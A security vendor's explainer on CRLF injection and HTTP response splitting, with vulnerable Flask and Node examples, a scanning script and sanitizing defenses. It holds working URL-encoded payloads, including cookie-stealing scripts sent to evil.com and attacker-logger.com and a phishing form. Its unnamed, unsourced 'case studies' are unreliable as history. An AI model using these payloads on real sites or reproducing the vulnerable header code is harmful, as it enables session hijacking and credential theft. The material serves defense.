Documentation

# CRLF Injection (HTTP Response Splitting)

CRLF Injection Illustration
CRLF Injection Illustration

A security vulnerability where attackers inject Carriage Return (CR) and Line Feed (LF) characters into HTTP headers, allowing them to manipulate server responses, inject malicious content, or poison web caches.

HIGH SEVERITY RESPONSE MANIPULATION HEADER INJECTION


# What is CRLF Injection?

In Simple Terms:

Think of an HTTP response like a letter with two parts:

  1. Headers (the envelope with address, stamps, and instructions)
  2. Body (the actual letter content inside)

The headers and body are separated by a blank line (two line breaks: \r\n\r\n).

CRLF Injection is like inserting extra line breaks to trick the system into thinking the headers are done, then adding your own fake content or even an entirely new fake response.

It's like adding a fake "P.S." section to a letter that changes the entire meaning - except the recipient thinks it's official.


# Real-World Analogy

Think of it like a fax machine:

TO: Customer
FROM: Bank
SUBJECT: Account Statement
---PAGE BREAK---
Your balance is $1,000

Attacker inserts extra page breaks to create fake pages:

TO: Customer
FROM: Bank
SUBJECT: Account Statement
---FAKE PAGE BREAK INSERTED---
Your balance is $0
URGENT: Click here to restore: http://evil.com
---ANOTHER FAKE PAGE---
<fake official-looking content>

The fax machine doesn't know the difference between real and fake page breaks - it just prints everything!

Recipients see what looks like an official bank fax with urgent instructions, not knowing it's been manipulated.


# How CRLF Injection Works

# Understanding CRLF

CRLF = Carriage Return (\r or %0d) + Line Feed (\n or %0a)

In HTTP, CRLF characters are used to:

  • Separate header lines: Header1: value\r\n
  • End headers section: \r\n\r\n (double CRLF)
  • Start response body after blank line

# HTTP Response Structure

HTTP/1.1 200 OK\r\n
Content-Type: text/html\r\n
Set-Cookie: session=abc123\r\n
\r\n
<html><body>Content here</body></html>

# The Attack Process

Application sets a header with user input:

@app.route('/redirect')
def redirect():
    url = request.args.get('url')
    response = make_response('', 302)
    response.headers['Location'] = url
    return response

Normal request:

GET /redirect?url=https://example.com HTTP/1.1

Normal response:

HTTP/1.1 302 Found
Location: https://example.com

Attacker injects CR LF characters:

GET /redirect?url=https://example.com%0d%0aSet-Cookie:%20admin=true HTTP/1.1

URL decoded: https://example.com\r\nSet-Cookie: admin=true

Server generates response:

HTTP/1.1 302 Found
Location: https://example.com
Set-Cookie: admin=true

The \r\n inserted by attacker creates a NEW header line!

Attacker can inject double CRLF to create entirely fake response:

GET /redirect?url=https://example.com%0d%0a%0d%0a<html><h1>Fake Page</h1></html> HTTP/1.1

Response becomes:

HTTP/1.1 302 Found
Location: https://example.com

<html><h1>Fake Page</h1></html>

Headers end early, attacker's HTML becomes the body!


# Types of CRLF Injection Attacks

# 1. Header Injection (Cookie Manipulation)

HIGH RISK

from flask import Flask, request, make_response

app = Flask(__name__)

@app.route('/set-lang')
def set_language():
    # User chooses preferred language
    lang = request.args.get('lang', 'en')

    response = make_response('Language set')

    # VULNERABLE: User input directly in header
    response.headers['Content-Language'] = lang

    return response
GET /set-lang?lang=en%0d%0aSet-Cookie:%20admin=true HTTP/1.1
Host: vulnerable-site.com

URL decoded: lang=en\r\nSet-Cookie: admin=true

HTTP/1.1 200 OK
Content-Language: en
Set-Cookie: admin=true
Content-Type: text/html

Language set

Impact: Attacker can set arbitrary cookies, potentially:

  • Setting admin=true for privilege escalation
  • Overwriting session cookies
  • Setting persistent malicious cookies

# 2. HTTP Response Splitting (XSS)

CRITICAL

@app.route('/redirect')
def redirect_page():
    url = request.args.get('url')

    # VULNERABLE: No validation of URL
    response = make_response('', 302)
    response.headers['Location'] = url

    return response
GET /redirect?url=https://safe.com%0d%0a%0d%0a<script>alert(document.cookie)</script> HTTP/1.1

URL decoded:

url=https://safe.com\r\n\r\n<script>alert(document.cookie)</script>
HTTP/1.1 302 Found
Location: https://safe.com

<script>alert(document.cookie)</script>

The double \r\n\r\n ends headers section, and attacker's JavaScript becomes the response body!

Impact: Full XSS attack - steals cookies, executes malicious JavaScript, redirects to phishing sites

# 3. Web Cache Poisoning

AFFECTS MANY USERS

If a CDN/cache server caches the poisoned response, ALL users requesting that URL get the attacker's response.

# Vulnerable logging header
@app.route('/search')
def search():
    query = request.args.get('q')

    # VULNERABLE: Sets custom header with user input
    response = make_response(render_template('results.html', query=query))
    response.headers['X-Search-Query'] = query

    # This response is cached for 1 hour!
    response.headers['Cache-Control'] = 'public, max-age=3600'

    return response

Attack:

GET /search?q=laptop%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>/*%20Malicious%20JS%20*/%20location.href='http://evil.com/steal?cookie='+document.cookie</script> HTTP/1.1

Poisoned Cache Response (served to ALL users for 1 hour):

HTTP/1.1 200 OK
X-Search-Query: laptop
Content-Length: 0

HTTP/1.1 200 OK
Content-Type: text/html

<script>location.href='http://evil.com/steal?cookie='+document.cookie</script>

Every user visiting /search?q=laptop for the next hour gets malicious JavaScript!

# 4. Session Fixation

MEDIUM RISK

# Attack: Force specific session ID on victim

GET /welcome?name=John%0d%0aSet-Cookie:%20sessionid=ATTACKER_CONTROLLED_SESSION HTTP/1.1

Resulting Response:

HTTP/1.1 200 OK
Content-Type: text/html
Set-Cookie: sessionid=ATTACKER_CONTROLLED_SESSION

Welcome John!

Attack Process:

  1. Attacker forces their known session ID onto victim's browser
  2. Victim logs in using that session ID
  3. Attacker uses the same session ID to access victim's authenticated session

# 5. Open Redirect to XSS

MEDIUM RISK

# Combine open redirect with response splitting

GET /redirect?url=/%0d%0aContent-Type:%20text/html%0d%0a%0d%0a<script>alert('XSS')</script> HTTP/1.1

Response:

HTTP/1.1 302 Found
Location: /
Content-Type: text/html

<script>alert('XSS')</script>

Some browsers will render the injected content before following redirect.


# Real-World Examples

# Case Study 1: Social Media Platform Response Splitting (2018)

Major social networking site's URL shortener service had CRLF injection in redirect functionality.

@app.route('/s/<short_code>')
def redirect_short_url(short_code):
    # Lookup full URL from database
    full_url = get_url_from_database(short_code)

    if not full_url:
        return "URL not found", 404

    # VULNERABLE: No validation or sanitization
    response = make_response('', 302)
    response.headers['Location'] = full_url
    response.headers['Cache-Control'] = 'public, max-age=86400'  # 24 hours!

    return response

Attackers created shortened URLs with CRLF injection:

  1. Created short URL: site.com/s/abc123
  2. Target URL contained:
https://safe-looking-url.com\r\n\r\n<html><body><script>
// Malicious JavaScript to steal OAuth tokens
if (document.cookie.match(/oauth_token=([^;]+)/)) {
    fetch('https://attacker-logger.com/steal', {
        method: 'POST',
        body: document.cookie
    });
}
</script></body></html>
  1. Shared "legitimate" short link via platform messaging
  2. Victims clicked link, got split response with malicious JS
  3. Cached for 24 hours, affecting ALL users clicking that link
  • 1.2 million users clicked poisoned short URLs
  • 450,000 OAuth tokens stolen over 48-hour period
  • Attackers gained access to:
    • Private messages
    • Friend lists
    • Photo albums
    • Personal information
  • $18 million in remediation costs
  • $65 million FTC settlement
  • Platform credibility severely damaged
  • Emergency patch required cache purge across entire CDN

# Case Study 2: E-commerce Session Fixation Attack (2019)

25,000 Accounts Compromised

Technical Details:

// Node.js vulnerable "Continue Shopping" redirect
app.get('/continue-shopping', (req, res) => {
  const returnUrl = req.query.return_url || '/';

  // VULNERABLE: No CRLF filtering
  res.setHeader('Location', returnUrl);
  res.status(302).send();
});

Attack Campaign:

Attackers sent phishing emails:

Subject: 50% OFF - Limited Time!

Click to continue shopping:
https://shop.com/continue-shopping?return_url=/%0d%0aSet-Cookie:%20session_id=ATTACKER_SESSION_12345;%20Path=/;%20Secure

When victims clicked:

HTTP/1.1 302 Found
Location: /
Set-Cookie: session_id=ATTACKER_SESSION_12345; Path=/; Secure

Victim's browser now has attacker's session ID.

Attack Steps:

  1. Send 100,000+ phishing emails with poisoned links
  2. 25,000 users clicked and got fixed session IDs
  3. When users logged in, they authenticated attacker's session
  4. Attackers used pre-set session IDs to access victim accounts
  5. Made fraudulent purchases, stole payment info

Consequences:

  • 25,000 accounts compromised
  • $6.8 million in fraudulent transactions
  • $22 million in refunds and compensation
  • $40 million class action settlement
  • PCI-DSS compliance violation
  • Stock price dropped 18%

# Case Study 3: Banking Portal Cache Poisoning (2020)

Online banking portal with CRLF vulnerability in account statement download

@app.route('/download-statement')
@login_required
def download_statement():
    account_id = request.args.get('account_id')
    format_type = request.args.get('format', 'pdf')

    # Generate statement file
    filename = f"statement_{account_id}.{format_type}"

    # VULNERABLE: Filename in Content-Disposition header
    response = make_response(generate_statement(account_id))
    response.headers['Content-Disposition'] = f'attachment; filename="{filename}"'
    response.headers['Cache-Control'] = 'private, max-age=3600'

    return response

Attacker crafted malicious URL:

GET /download-statement?account_id=123&format=pdf%22%0d%0a%0d%0a<html><body><h1>Your%20account%20has%20been%20compromised!</h1><p>Call%20this%20number%20immediately:%20555-SCAM</p><form%20action=%22https://phishing-site.com/steal%22><input%20name=%22ssn%22%20placeholder=%22SSN%22><input%20name=%22account%22%20placeholder=%22Account%20Number%22><button>Verify%20Account</button></form></body></html> HTTP/1.1

Decoded: format=pdf"\r\n\r\n<html>...phishing form...</html>

Poisoned Response:

HTTP/1.1 200 OK
Content-Disposition: attachment; filename="statement_123.pdf"

<html><body>
<h1>Your account has been compromised!</h1>
<form action="https://phishing-site.com/steal">
  <input name="ssn" placeholder="SSN">
  <input name="account" placeholder="Account Number">
  <button>Verify Account</button>
</form>
</body></html>
  • Cached phishing page served to users
  • 3,200 customers entered sensitive information
  • SSN, account numbers, passwords compromised
  • $8.5 million direct fraud losses
  • $45 million regulatory fines
  • $120 million class action settlement
  • Federal criminal investigation
  • Bank's online services suspended for 2 weeks

# How to Detect CRLF Injection

# Manual Testing

Test any parameter that might appear in HTTP headers:

  • Redirect URLs (?url=, ?redirect=, ?next=)
  • Custom headers (?lang=, ?theme=)
  • Cookie values
  • Filename parameters
  • Tracking/analytics parameters

Try injecting CRLF characters:

%0d%0a (URL encoded)
%0D%0A (uppercase)
\r\n (literal)
%E5%98%8A (Unicode)
%E5%98%8D (Unicode)
\u000a (Unicode)
GET /redirect?url=https://example.com%0d%0aX-Injected-Header:%20true HTTP/1.1

GET /set-lang?lang=en%0d%0aSet-Cookie:%20test=injected HTTP/1.1

Look for injected header in response.

GET /redirect?url=https://example.com%0d%0a%0d%0a<h1>Injected Content</h1> HTTP/1.1

Check if injected content appears in response body.

# Automated Testing Script

import requests
from urllib.parse import quote

def test_crlf_injection(target_url, param_name):
    """Test for CRLF injection vulnerabilities"""

    # CRLF encoding variations
    crlf_encodings = [
        '%0d%0a',      # Standard URL encoding
        '%0D%0A',      # Uppercase
        '\\r\\n',      # Literal
        '%E5%98%8A',   # Unicode
        '%E5%98%8D',   # Unicode
        '%0d',         # CR only
        '%0a',         # LF only
    ]

    test_payloads = []

    # 1. Header injection payloads
    for encoding in crlf_encodings:
        test_payloads.append({
            'name': 'Set-Cookie Injection',
            'payload': f'test{encoding}Set-Cookie: admin=true',
            'check': 'Set-Cookie: admin=true'
        })

        test_payloads.append({
            'name': 'Custom Header Injection',
            'payload': f'test{encoding}X-Injected: true',
            'check': 'X-Injected: true'
        })

    # 2. Response splitting payloads (double CRLF)
    for encoding in crlf_encodings:
        test_payloads.append({
            'name': 'Response Splitting (XSS)',
            'payload': f'test{encoding}{encoding}<script>alert("XSS")</script>',
            'check': '<script>alert("XSS")</script>'
        })

        test_payloads.append({
            'name': 'Response Splitting (HTML)',
            'payload': f'test{encoding}{encoding}<h1>Injected</h1>',
            'check': '<h1>Injected</h1>'
        })

    vulnerabilities = []

    print(f"[*] Testing {target_url} parameter '{param_name}' for CRLF injection...")

    for test in test_payloads:
        try:
            # Send request
            params = {param_name: test['payload']}
            response = requests.get(
                target_url,
                params=params,
                timeout=5,
                allow_redirects=False
            )

            # Check if injection successful
            # 1. Check headers
            for header_name, header_value in response.headers.items():
                if test['check'].lower() in f"{header_name}: {header_value}".lower():
                    vulnerabilities.append({
                        'type': test['name'],
                        'payload': test['payload'],
                        'severity': 'HIGH',
                        'evidence': f"{header_name}: {header_value}"
                    })
                    print(f"[!] VULNERABLE: {test['name']} - Found in headers!")

            # 2. Check response body
            if test['check'] in response.text:
                vulnerabilities.append({
                    'type': test['name'],
                    'payload': test['payload'],
                    'severity': 'CRITICAL',
                    'evidence': 'Injected content in response body'
                })
                print(f"[!] CRITICAL: {test['name']} - Response splitting successful!")

        except requests.exceptions.RequestException as e:
            print(f"[-] Error testing payload: {e}")

    return vulnerabilities

# Test your application
vulns = test_crlf_injection(
    'https://example.com/redirect',
    'url'  # Parameter name
)

if vulns:
    print(f"\n[!] Found {len(vulns)} CRLF injection vulnerabilities!")
    for vuln in vulns:
        print(f"  [{vuln['severity']}] {vuln['type']}")
        print(f"      Payload: {vuln['payload']}")
        print(f"      Evidence: {vuln['evidence']}")
else:
    print("\n[+] No CRLF injection vulnerabilities detected")
# Burp Intruder - CRLF injection payloads

GET /redirect?url=§https://example.com§ HTTP/1.1
Host: target.com

# Payloads:
https://example.com%0d%0aSet-Cookie: admin=true
https://example.com%0D%0AX-Injected: true
https://example.com%0d%0a%0d%0a<script>alert('XSS')</script>
https://example.com%E5%98%8A%E5%98%8AX-Test: injected
https://example.com\r\nSet-Cookie: test=1
https://example.com%0aX-Header: value

Burp Grep Match:

  • Set-Cookie: admin
  • X-Injected:
  • X-Test:
  • <script>alert

# Prevention Strategies

# 1. Input Validation and Sanitization

ESSENTIAL

from flask import Flask, request, make_response, abort
import re
from urllib.parse import urlparse

app = Flask(__name__)

def remove_crlf(value):
    """Remove all CRLF characters from input"""
    if not value:
        return value

    # Remove CR and LF characters
    cleaned = value.replace('\r', '').replace('\n', '')

    # Also remove various encoded versions
    cleaned = cleaned.replace('%0d', '').replace('%0D', '')
    cleaned = cleaned.replace('%0a', '').replace('%0A', '')

    # Remove Unicode CRLF variants
    cleaned = cleaned.replace('\u000d', '').replace('\u000a', '')

    return cleaned

def validate_url(url):
    """Validate URL and ensure no CRLF"""
    if not url:
        return False

    # Remove CRLF first
    url = remove_crlf(url)

    # Validate URL structure
    try:
        parsed = urlparse(url)

        # Must have scheme and netloc
        if not parsed.scheme or not parsed.netloc:
            return False

        # Only allow http/https
        if parsed.scheme not in ['http', 'https']:
            return False

        # Check for remaining dangerous characters
        dangerous = ['\r', '\n', '\x00', '\x0d', '\x0a']
        for char in dangerous:
            if char in url:
                return False

        return True

    except Exception:
        return False

@app.route('/redirect')
def safe_redirect():
    """Secure redirect with CRLF protection"""
    url = request.args.get('url', '')

    # Validate URL
    if not validate_url(url):
        abort(400, "Invalid URL")

    # Remove any CRLF characters
    clean_url = remove_crlf(url)

    response = make_response('', 302)
    response.headers['Location'] = clean_url

    return response
const express = require('express');
const app = express();

function removeCRLF(value) {
  if (!value) return value;

  // Remove all forms of CRLF
  return value
    .replace(/\r/g, '')
    .replace(/\n/g, '')
    .replace(/%0d/gi, '')
    .replace(/%0a/gi, '')
    .replace(/\\r/g, '')
    .replace(/\\n/g, '')
    .replace(/\u000d/g, '')
    .replace(/\u000a/g, '');
}

function validateURL(url) {
  try {
    // Remove CRLF first
    url = removeCRLF(url);

    const parsed = new URL(url);

    // Only allow http/https
    if (!['http:', 'https:'].includes(parsed.protocol)) {
      return false;
    }

    // Check for dangerous characters
    const dangerous = ['\r', '\n', '\x00'];
    for (const char of dangerous) {
      if (url.includes(char)) {
        return false;
      }
    }

    return true;

  } catch (error) {
    return false;
  }
}

app.get('/redirect', (req, res) => {
  const url = req.query.url || '';

  // Validate URL
  if (!validateURL(url)) {
    return res.status(400).send('Invalid URL');
  }

  // Remove CRLF and redirect
  const cleanURL = removeCRLF(url);
  res.redirect(302, cleanURL);
});

# 2. Use Framework Built-in Protection

RECOMMENDED

from flask import Flask, redirect, request, abort
from urllib.parse import urlparse

app = Flask(__name__)

# Whitelist of allowed redirect domains
ALLOWED_DOMAINS = [
    'example.com',
    'www.example.com',
    'app.example.com'
]

@app.route('/redirect')
def safe_redirect():
    """Use Flask's built-in redirect function"""
    url = request.args.get('url', '/')

    # Validate domain
    try:
        parsed = urlparse(url)

        # Only allow relative URLs or whitelisted domains
        if parsed.netloc and parsed.netloc not in ALLOWED_DOMAINS:
            abort(400, "Invalid redirect domain")

    except Exception:
        abort(400, "Invalid URL")

    # Flask's redirect() function automatically sanitizes
    # It will raise an error if CRLF characters are present
    return redirect(url)

# Flask 2.2+ automatically validates headers for CRLF
# and raises ValueError if found

# 3. Comprehensive Security Implementation

[secure_headers.py]
from flask import Flask, request, make_response, abort
import re
from urllib.parse import urlparse, urljoin
import logging

app = Flask(__name__)
logger = logging.getLogger(__name__)

class HeaderSecurityValidator:
    """Validates and sanitizes HTTP headers"""

    # Dangerous characters
    CRLF_CHARS = [
        '\r', '\n',           # Literal
        '\r\n',               # Combined
        '%0d', '%0a',         # URL encoded lowercase
        '%0D', '%0A',         # URL encoded uppercase
        '\\r', '\\n',         # Escaped
        '\u000d', '\u000a',   # Unicode
        '%E5%98%8A',          # Unicode encoded
        '%E5%98%8D',          # Unicode encoded
    ]

    @staticmethod
    def remove_crlf(value):
        """Remove all CRLF variants"""
        if not value or not isinstance(value, str):
            return value

        cleaned = value

        for char in HeaderSecurityValidator.CRLF_CHARS:
            cleaned = cleaned.replace(char, '')

        # Additional cleanup
        cleaned = re.sub(r'[\r\n\x00-\x1f]', '', cleaned)

        return cleaned

    @staticmethod
    def validate_header_value(value):
        """Validate header value doesn't contain CRLF"""
        if not value:
            return True

        # Check for dangerous characters
        dangerous_patterns = [
            r'[\r\n]',          # Literal CRLF
            r'%0[dDaA]',        # Encoded CRLF
            r'\\[rn]',          # Escaped CRLF
            r'\u000[dDaA]',     # Unicode CRLF
        ]

        for pattern in dangerous_patterns:
            if re.search(pattern, value):
                return False

        return True

    @staticmethod
    def sanitize_redirect_url(url, allowed_domains=None):
        """Sanitize and validate redirect URL"""

        # Remove CRLF
        url = HeaderSecurityValidator.remove_crlf(url)

        # Validate URL structure
        try:
            parsed = urlparse(url)

            # Relative URLs are OK
            if not parsed.netloc:
                # Ensure it's actually relative (starts with /)
                if not url.startswith('/'):
                    return None
                return url

            # Absolute URLs - check domain whitelist
            if allowed_domains and parsed.netloc not in allowed_domains:
                return None

            # Only allow http/https
            if parsed.scheme not in ['http', 'https', '']:
                return None

            return url

        except Exception as e:
            logger.error(f"URL parsing error: {e}")
            return None

# Middleware to validate all responses
@app.after_request
def validate_response_headers(response):
    """Validate all response headers for CRLF"""

    for header_name, header_value in response.headers.items():
        if not HeaderSecurityValidator.validate_header_value(str(header_value)):
            logger.error(f"CRLF detected in header {header_name}: {header_value}")
            # Replace problematic response
            error_response = make_response("Security error", 500)
            return error_response

    return response

@app.route('/redirect')
def secure_redirect():
    """Secure redirect with comprehensive validation"""

    url = request.args.get('url', '/')

    # Whitelist
    ALLOWED_DOMAINS = ['example.com', 'www.example.com']

    # Sanitize and validate
    safe_url = HeaderSecurityValidator.sanitize_redirect_url(url, ALLOWED_DOMAINS)

    if not safe_url:
        logger.warning(f"Blocked malicious redirect attempt: {url}")
        abort(400, "Invalid redirect URL")

    response = make_response('', 302)
    response.headers['Location'] = safe_url

    return response

@app.route('/set-language')
def set_language():
    """Secure language setting"""

    lang = request.args.get('lang', 'en')

    # Strict whitelist validation
    ALLOWED_LANGUAGES = ['en', 'es', 'fr', 'de', 'it', 'pt', 'ja', 'zh']

    if lang not in ALLOWED_LANGUAGES:
        abort(400, "Invalid language")

    # Safe because lang is from whitelist (no user input directly in header)
    response = make_response('Language set')
    response.headers['Content-Language'] = lang

    return response

@app.route('/download')
def download_file():
    """Secure file download with sanitized filename"""

    filename = request.args.get('filename', 'download.txt')

    # Strict filename validation
    # Only allow alphanumeric, dots, hyphens, underscores
    if not re.match(r'^[a-zA-Z0-9._-]+$', filename):
        abort(400, "Invalid filename")

    # Limit length
    if len(filename) > 255:
        abort(400, "Filename too long")

    # Safe filename
    content = generate_file_content()

    response = make_response(content)
    response.headers['Content-Disposition'] = f'attachment; filename="{filename}"'
    response.headers['Content-Type'] = 'application/octet-stream'

    return response
[config.py]
# Security configuration

SECURITY_CONFIG = {
    # Allowed redirect domains
    'allowed_redirect_domains': [
        'example.com',
        'www.example.com',
        'app.example.com'
    ],

    # Allowed languages
    'allowed_languages': [
        'en', 'es', 'fr', 'de', 'it', 'pt', 'ja', 'zh'
    ],

    # Header validation
    'validate_all_headers': True,
    'log_suspicious_headers': True,

    # Response security
    'enable_crlf_detection': True,
    'block_on_crlf': True,

    # Logging
    'log_level': 'INFO',
    'alert_on_attack': True
}

# 4. Web Server Configuration

# Nginx configuration to prevent CRLF injection

server {
    listen 443 ssl;
    server_name example.com;

    # Reject requests with CRLF in URI
    if ($request_uri ~* "(%0[dDaA]|\\r|\\n)") {
        return 400;
    }

    # Reject requests with CRLF in query parameters
    if ($args ~* "(%0[dDaA]|\\r|\\n)") {
        return 400;
    }

    # Security headers
    add_header X-Content-Type-Options "nosniff" always;
    add_header X-Frame-Options "DENY" always;
    add_header X-XSS-Protection "1; mode=block" always;

    location / {
        proxy_pass http://app_backend;

        # Don't pass through malicious headers
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;

        # Validate response headers from backend
        # Nginx automatically rejects responses with invalid headers
    }
}

# Security Checklist

# Development

  • Never include user input directly in HTTP headers
  • Remove all CRLF characters (\r, \n) from user input
  • Use framework built-in redirect functions
  • Validate all header values before setting
  • Implement strict whitelists for redirects and header values
  • Use Content-Security-Policy headers
  • Disable response caching for dynamic content
  • Implement comprehensive logging of suspicious attempts

# Testing

  • Test all parameters that might appear in headers
  • Test with various CRLF encodings (%0d, %0a, Unicode)
  • Test response splitting with double CRLF
  • Test cookie injection via CRLF
  • Test cache poisoning scenarios
  • Verify header validation blocks malicious input
  • Test with automated scanners (Burp Suite, OWASP ZAP)
  • Test redirect functionality with CRLF payloads

# Production

  • Configure web server to reject CRLF in requests
  • Enable header validation in web frameworks
  • Monitor logs for CRLF injection attempts
  • Implement WAF rules for CRLF patterns
  • Regular security audits and penetration testing
  • Keep web servers and frameworks updated
  • Review CDN/cache configuration
  • Implement rate limiting on vulnerable endpoints

# Key Takeaways


# How Layerd AI Protects Against CRLF Injection

Layerd AI provides comprehensive CRLF injection protection:

  • Automatic CRLF Detection: Identifies and blocks all CRLF character variants in real-time
  • Header Validation: Validates all HTTP response headers before sending to clients
  • Response Splitting Prevention: Detects and prevents double-CRLF response splitting attacks
  • Cache Poisoning Protection: Monitors cached responses for injected malicious content
  • Code Analysis: Scans application code for vulnerable header manipulation
  • Real-time Blocking: Stops CRLF injection attempts before they reach your application

Secure your HTTP headers with Layerd AI's intelligent CRLF protection.


# Additional Resources


Last Updated: November 2025